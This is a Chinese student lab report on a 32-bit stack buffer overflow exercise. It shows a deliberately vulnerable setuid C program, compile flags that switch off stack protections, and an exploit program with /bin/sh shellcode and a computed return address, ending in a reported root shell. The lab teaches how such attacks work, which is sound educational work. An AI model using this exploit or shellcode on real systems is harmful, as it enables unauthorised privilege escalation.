缓冲区溢出漏洞实验 20181227李根
一、实验准备
由于32位环境更方便观察观察汇编语句,实验楼提供了如下三条指令安装软件包配置环境(系统默认是64位环境)
二、实验过程
1.初始设置
(1)Ubuntu 和其他一些 Linux 系统中,使用地址空间随机化来随机堆(heap)和栈(stack)的初始地址,这使得猜测准确的内存地址变得十分困难,而猜测内存地址是缓冲区溢出攻击的关键。因此本次实验中,我们使用命令关闭这一功能
此外,为了进一步防范缓冲区溢出攻击及其它利用 shell 程序的攻击,许多shell程序在被调用时自动放弃它们的特权。因此,即使你能欺骗一个 Set-UID 程序调用一个 shell,也不能在这个 shell 中保持 root 权限,这个防护措施在 /bin/bash
中实现。
(2)linux 系统中,/bin/sh
实际是指向 /bin/bash
或 /bin/dash
的一个符号链接。为了重现这一防护措施被实现之前的情形,我们使用另一个 shell 程序(zsh)代替 /bin/bash
。
(3) 输入命令 linux32
进入32位linux环境。
2.shellcode
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。
3.漏洞测试
在 /tmp
目录下新建一个 stack.c
文件:
cd /tmp vim stack.c
按 i
键切换到插入模式,再输入如下内容
#include <stdlib.h> #include <stdio.h> #include <string.h> int bof(char *str) { char buffer[12]; /* The following statement has a buffer overflow problem */ strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char str[517]; FILE *badfile; badfile = fopen("badfile", "r"); fread(str, sizeof(char), 517, badfile); bof(str); printf("Returned Properly\n"); return 1; }
程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”
编译该程序,并设置 SET-UID。命令如下:
sudo su gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c chmod u+s stack exit
4.攻击程序
目的是攻击刚才的漏洞程序,并通过攻击获得 root
权限。
在 /tmp
目录下新建一个 exploit.c
文件,输入如下内容:
#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[] = "\x31\xc0" //xorl %eax,%eax "\x50" //pushl %eax "\x68""//sh" //pushl $0x68732f2f "\x68""/bin" //pushl $0x6e69622f "\x89\xe3" //movl %esp,%ebx "\x50" //pushl %eax "\x53" //pushl %ebx "\x89\xe1" //movl %esp,%ecx "\x99" //cdq "\xb0\x0b" //movb $0x0b,%al "\xcd\x80" //int $0x80 ; void main(int argc, char **argv) { char buffer[517]; FILE *badfile; /* Initialize buffer with 0x90 (NOP instruction) */ memset(&buffer, 0x90, 517); /* You need to fill the buffer with appropriate contents here */ strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址 strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100 /* Save the contents to the file "badfile" */ badfile = fopen("./badfile", "w"); fwrite(buffer, 517, 1, badfile); fclose(badfile); }
上面的代码,\x??\x??\x??\x??
处需要添上 shellcode
保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而 strcpy(buffer+100,shellcode);
shellcode
保存在 buffer + 100
的位置。
要得到 shellcode 在内存中的地址,输入命令进入 gdb 调试:
结果如图:
最后获得的这个 0xffffcf70
就是 str 的地址
根据语句 strcpy(buffer + 100,shellcode);
计算 shellcode
的地址为 0xffffcf70
+ 0x64
= 0xffffcfd4
现在修改 exploit.c
文件,将 \x??\x??\x??\x??
修改为计算的结果 \xd4\xcf\xff\xff
。
然后,编译 exploit.c
程序:
gcc -m32 -o exploit exploit.c
5.攻击结果
先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
获得了root 权限!